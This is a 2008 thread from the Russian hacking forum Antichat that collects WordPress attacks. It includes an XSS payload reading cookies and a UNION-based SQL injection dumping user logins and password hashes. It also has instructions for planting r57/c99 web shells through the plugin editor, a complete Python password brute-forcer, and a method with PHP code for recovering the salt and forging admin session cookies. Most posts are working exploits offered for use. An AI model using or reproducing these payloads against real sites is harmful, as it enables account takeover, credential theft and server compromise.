ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Wordpress 2.5 - Salt Cracking Vulnerability
  #1  
Старый 16.04.2008, 14:25
Аватар для Elekt
Elekt
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме:
4839935

Репутация: 1202


Отправить сообщение для Elekt с помощью ICQ
По умолчанию Wordpress 2.5 - Salt Cracking Vulnerability


WORDPRESS 2.5 - SALT CRACKING VULNERABILITY
http://packetstormsecurity.org/0804-exploits/wp-saltcrack.txt

Описание уязвимости от Гемоглабина: _http://forum.antichat.ru/thread72534.html

==============================

Коротко по сути: если админ оставил пустым или дефолтным('put your unique phrase here') поле SECRET_KEY в конфигурационном файле, то становится возможным сгенерировать валидную админскую сессию.

Но для этого необходимо подобрать брутом значение соли(либо вытащить его непосредственно из бд черех SQL-inj).
Перебор всех возможных вариантов (62 символа, длина строки - 7мь символов) на одном ПС займет 113 дней по расчетам автора.
Прилагается специальный консольный брутер под никсы.

==============================

Важное дополнение

Дело в том что если вы имеете доступ к БД блога например через SQL-inj и SECRET_KEY пуст (или дефолтен) , то нам не требуется расшифровка паролей!
Достаточно получить значение wp_options.option_name = 'secret', а также взять любой Логин админа - и можно сгенерировать валидную админскую сессию.

пхп скрипт генерирующий куку прилагается

Вложения
Тип файла: zip wpsalt.zip (7.3 Кб, 71 просмотров)
Тип файла: txt wp2.5_[secret]_cookie_generation_expl.php.txt (2.2 Кб, 70 просмотров)

Последний раз редактировалось Elekt; 13.06.2008 в 08:57..
 
Ответить с цитированием

  #2  
Старый 16.04.2008, 20:43
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Не уязвимость, но по теме ничего не нашёл. В общем, опеределение версии движка:

Заходим на http://site/wp-login.php, смотрим в исходник странички, видим там:

Код:
<link rel='stylesheet' href='http://site/wp-admin/wp-admin.css?version=2.5' type='text/css' />
После ?version=.. - версия движка.

З.Ы.
Наверняка есть и нормальные методы, просто нашёл навскидку.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 18.04.2008 в 00:46..
 
Ответить с цитированием

Wordpress Version
  #3  
Старый 02.05.2008, 00:39
Аватар для Elekt
Elekt
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме:
4839935

Репутация: 1202


Отправить сообщение для Elekt с помощью ICQ
По умолчанию Wordpress Version

Цитата:
Сообщение от Qwazar  
...теме ничего не нашёл... опеределение версии движка.. наверняка есть и нормальные методы...
Универсальный способ в 2.x версиях
http://localhost/wordpress/?feed=rss2&p=0

иногда надо поиграться с p= для выдачи.
 
Ответить с цитированием

  #4  
Старый 04.05.2008, 00:00
Аватар для exclus!ve
exclus!ve
Новичок
Регистрация: 03.05.2008
Сообщений: 15
Провел на форуме:
258071

Репутация: 24
По умолчанию

Активная XSS в Blix Theme, которую сейчас часто ставят на WP.
Код:
http://site/index.php/%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
еще одна - Abuse of Functionality, действует как на старых версиях, так и на новой 2.5 - суть в том, что при вводе верного и неверного логина(при неверном пароле) движок выводит разное уведомление об ошибке, т.е. методом перебора возможно получить логины пользователей, которые потом использовать при брутфорсе.

Последний раз редактировалось exclus!ve; 04.05.2008 в 02:12..
 
Ответить с цитированием

Раскрытие данных в WordPress 2.0.3
  #5  
Старый 13.05.2008, 23:08
Аватар для baltazar
baltazar
Banned
Регистрация: 30.03.2007
Сообщений: 344
Провел на форуме:
5149122

Репутация: 2438
Отправить сообщение для baltazar с помощью ICQ
По умолчанию Раскрытие данных в WordPress 2.0.3

Сообщение об ошибку sql возвращает поситетяля назад,если указать неккоректное значение парметра paged можно получить данные о префиксе таблиц
Например:
Код:
http:// [host]/index.php?paged=-12
^^
 
Ответить с цитированием

Wordpress <= 2.5.1 Malicious File Execution Vulnerability
  #6  
Старый 20.05.2008, 20:35
Аватар для Fugitif
Fugitif
Постоянный
Регистрация: 23.09.2007
Сообщений: 416
Провел на форуме:
1781065

Репутация: 869
По умолчанию Wordpress <= 2.5.1 Malicious File Execution Vulnerability

Wordpress <= 2.5.1 Malicious File Execution Vulnerability

Ну вобщем, вы можете загрузить вебшелл через аплоад, либо через редактор плагинов.
Вобщем-то об этом все и так знали =)


Код:
==========================================================
    
     Wordpress Malicious File Execution Vulnerability            
           
==========================================================

AUTHOR : CWH Underground
DATE   : 18 May 2008
SITE   : www.citecclub.org


#####################################################
 APPLICATION : Wordpress Blog  
 VERSION     : <= 2.5.1   
 VENDOR      : http://wordpress.org/   
 DOWNLOAD    : http://wordpress.org/download
#####################################################


DORK: N/A

---DESCRIPTION---
	You must login into wordpress with Administrator Roles
	
	1. Write Tabs - You can post title, contents and upload files. In Upload section, You can upload php script such as r57,c99,etc. into systems
and upload's file will appear in http://[target]/wp-content/uploads/[year]/[month]/file.php
	
	2. If you can't upload your php script: Found message "File type does not meet security guidelines. Try another" 
Dont Worry,  Move to "plugins" Tabs and choose some plugins (Akismet, Hello Dolly) to EDIT it. Now you can add php script (r57/c99) into plugins edit section.
Finished it and Back to Plugins Tabs -> Click Active plugins then Get your SHELL....

Let's Fun...


---NOTE/TIP---

        In Plugins Edit section, Use comment /* ...  */ to keep plugins code before add shells.

##################################################################
 Greetz: ZeQ3uL,BAD $ectors, Snapter, Conan, Win7dos, JabAv0C   
##################################################################

Последний раз редактировалось Elekt; 20.05.2008 в 23:35..
 
Ответить с цитированием

  #7  
Старый 22.05.2008, 01:26
Аватар для baltazar
baltazar
Banned
Регистрация: 30.03.2007
Сообщений: 344
Провел на форуме:
5149122

Репутация: 2438
Отправить сообщение для baltazar с помощью ICQ
По умолчанию

Wordpress Bruterorce
Код:
############# Source code #####################
#!usr/bin/python
# Flaw found on Wordpress
# that allow Dictionnary & Bruteforce attack
# Greetz goes to : NeoMorphS, Tiky 
# Vendor : http://wordpress.org/
# Found by : Kad (kadfrox@gmail.com / #kadaj-diabolik@hotmail.fr)
import urllib , urllib2, sys, string
tab = "%s%s%s"%( string.ascii_letters, string.punctuation, string.digits )
tab = [  i for i in tab ]
def node( table, parent, size ):
	if size == 0:
		pass
	else:
		for c in table:
			string = "%s%s"%( parent, c )
                        data = {'log': sys.argv[2],
                                'pwd': string}
                        print "[+] Testing : "+string
                        request = urllib2.Request(server, urllib.urlencode(data))
                        f = urllib2.urlopen(request).read()
                        if not "Incorrect password.</div>" in f: print "[!] Password is : "+mot ; break
			node( table, string, size-1 )
 
def bruteforce( table, size ):
	for c in table:
		node( table, c, size-1 )
		
if (len(sys.argv) < 3):
    print "Usage : float.py <server> <user> <choice> <dico-characters>"
    print "\nDefault: User is 'admin'"
    print "Choice : 1} Dictionnary Attack, use dictionnary file"
    print "         2} Bruteforce Attack, use number of character for password"
    
else:
    server = sys.argv[1]
    if sys.argv[3] == "1":
	a , b = open(sys.argv[4],'r') , 0
	for lines in a: b = b + 1
	a.seek(0)	
	c = 0
	while (c < b):
		mot = a.readline().rstrip()
		data = {'log': sys.argv[2],
				'pwd': mot}
		print "[+] Testing : "+mot
		request = urllib2.Request(server, urllib.urlencode(data))
		f = urllib2.urlopen(request).read()
		if not "Incorrect password.</div>" in f: print "[!] Password is : "+mot ; break
		else: c = c + 1 ; pass
    if sys.argv[3] == "2":
	print "[-] Server is : "+server
	print "[-] User is : "+sys.argv[2]
	print "[-] Number of characters are : "+sys.argv[4]
        number = int(sys.argv[4])
        bruteforce( tab, number )
############## Source code #####################

The problem is : many time, the default user who is created is : admin, then you can try to crack the password, to stop that, you can use image confirmation or a limit for the connection (for example, only 5 tests). 

To know if "admin" is the default user, you can try to go to the login page : http://site.com/wp-login.php and you try ; login : admin, pass : test (or anything else). 

if "Wrong password" is printed on the page, the default user is admin, but if there is : "Wrong Username" then it's not the default password ;) 

Kad'
 
Ответить с цитированием

  #8  
Старый 30.05.2008, 03:13
Аватар для Mr.Jobson
Mr.Jobson
Новичок
Регистрация: 09.08.2007
Сообщений: 3
Провел на форуме:
21001

Репутация: 7
По умолчанию

Нигде не встречал описания подобного эксплоита. Решил поделиться, так ради забавы.

Неавторизированное чтение постов на Wordpress 2.2.0 - 2.3.1
http://blog.com/?x=wp-admin/
Показывает все посты предназначенные для администратора, также неопубликованные посты.
(c) MrJobson
 
Ответить с цитированием

  #9  
Старый 04.06.2008, 23:51
Аватар для baltazar
baltazar
Banned
Регистрация: 30.03.2007
Сообщений: 344
Провел на форуме:
5149122

Репутация: 2438
Отправить сообщение для baltazar с помощью ICQ
По умолчанию

скуля

Код:
http://localhost/[path]/wp-uploadfile.php?f_id=[SQL]
SQL query:
Код:
null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*
 
Ответить с цитированием

WordPress 2.5 Cookies Manipulation - Вход по md5() хешу пароля в куках
  #10  
Старый 03.06.2008, 19:26
Аватар для Евгений Минаев
Евгений Минаев
Познающий
Регистрация: 12.11.2007
Сообщений: 70
Провел на форуме:
1214722

Репутация: 676
По умолчанию WordPress 2.5 Cookies Manipulation - Вход по md5() хешу пароля в куках

WordPress 2.3.1 Cookies Manipulation: _http://forum.antichat.ru/showpost.php?p=560997&postcount=23

WordPress 2.5 Cookies Manipulation: начало в _http://forum.antichat.ru/showpost.php?p=655556&postcount=52

================================

Проблемы с надежностью шифрования у вордпресса были всегда. Вспомним 2007 год, когда имея только аутенфикационные данные в виде связки логин и пароль, можно было зайти с администраторскими правами даже без перебора хеша этого пароля, а иньекций в блоге было предостаточно. Ввести элементарный секьюрити фикс не могли начиная с версии 1.5 до 2.3, когда было объявлено о выходе wordpress 2.5. Теперь сразу после инсталяции блога в базу записывается соль, с помощью который высчитывается хеш пароля, помещаемый в cookies юзера. Cookies юзера представляют из себя следующую конструкцию

"wordpress_".COOKIEHASH = USERNAME . "|" . EXPIRY_TIME . "|" . HMAC

COOKIEHASH md5 хеш от имени сайта
USERNAME Имя пользователя
EXPIRY_TIME Срок жизни cookies до того как они станут невалидными

HMAC представляет из себя хеш из USERNAME и EXPIRY_TIME, основанный на ключе, полученный путем преобразования USERNAME,EXPIRY_TIME и SALT, проще говоря формула такая
Цитата:
HMAC_KEY = HMAC md5(USERNAME.EXPIRY_TIME,SALT), HMAC = HMAC md5(USERNAME.EXPIRY_TIME,HMAC_KEY)
Для реализации атаки нам нужен зарегестрированный пользователь с любыми правами. После входа в контрольную панель мы получим наши cookies, которые будут нужны для получения соли. Так как соль для всех одна, то мы имея эту соль можем сгенерировать cookies для любого юзера, в том числе и админа. Посмотрим, как происходит аутенфикация в wordpress

PHP код:
function wp_validate_auth_cookie($cookie '') {
    ........................
    list(
$username$expiration$hmac) = explode('|'$cookie);
    
$expired $expiration;
    ........................
    if ( 
$expired time() )
        return 
false;
    ........................
    
$key wp_hash($username $expiration);
    
$hash hash_hmac('md5'$username $expiration$key);
    ........................
    if ( 
$hmac != $hash )
        return 
false;
}

function 
wp_hash($data) {
    
$salt wp_salt();
    if ( 
function_exists('hash_hmac') ) {
        return 
hash_hmac('md5'$data$salt);
    } else {
        return 
md5($data $salt);
    }

Генерация хеша основывается лишь на юзернейме, сроке жизни кук и необходимом параметре - соль. Соль получается следующим образом

PHP код:
function wp_salt() {
    ........................
    if ( empty(
$salt) ) {
        
$salt wp_generate_password();
        
update_option('secret'$salt);
    }
    ........................
}

function 
wp_generate_password() {
    
$chars "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    
$length 7;
    
$password '';
    for ( 
$i 0$i $length$i++ )
        
$password .= substr($charsmt_rand(061), 1);
    return 
$password;

Как видим, она генерируется случайным образом из набора A-Za-z0-9, то есть общее число комбинаций 62^7, а именно 3521614606208. При неплохой скорости перебора в четыре милиона в секунду имеем 3521614606208 / 4000000 примерно десять дней перебора. Но вспоминаем, что у нас не обычный md5, а hmac. HMAC md5 завязан на ключе и хеширование происходит по формуле md5(key XOR opad, md5(key XOR ipad, text)), где ipad и opad - сгенерированные на основе ключа строки, полученные путем ксора (ipad = the byte 0x36 repeated 16 times, opad = the byte 0x5C repeated 16 times), то есть на перебор вместо изначальных десяти дней уйдет максимум месяц за счет операций с ключом и двойного вызова md5. Перебор должен происходить на основе уже готовых username, hmac и expired из наших cookies - hmac_md5(username . expired, hmac_md5(username . expired,SALT)) == hmac. После получения соли, воспользовавшись стандартными worpdress функциями получим cookies для админа. Enjoy.

PHP код:
$hmackey      hash_hmac('md5''admin' '9999999999'$salt);
$hmacpass     hash_hmac('md5''admin' '9999999999'$hmackey); 
Спасибо +toxa+ и W[4H]LF за потраченное на меня время

Цитата:
шок (15:24:19 3/06/2008)
назовем - криптографическая атака на вордпресс

+toxa+ (15:24:34 3/06/2008)
Тебе хитровыебнуться надо?))

Последний раз редактировалось Elekt; 13.06.2008 в 09:22..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов it's my Сценарии/CMF/СMS 184 15.06.2010 11:10
[ Обзор уязвимостей PHP-Nuke ] [53x]Shadow Сценарии/CMF/СMS 42 07.05.2010 19:07
[ Обзор уязвимостей SLAED CMS ] _kREveDKo_ Сценарии/CMF/СMS 20 01.11.2009 14:28
ОБЗОР УЯЗВИМОСТЕЙ БЕСПЛАТНЫХ ПОЧТОВЫХ СЕРВИСОВ nike57 E-Mail 4 05.05.2006 22:03
Статья обзор уязвимостей бесплатных почтовых сервисов markel E-Mail 3 12.09.2005 10:07



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ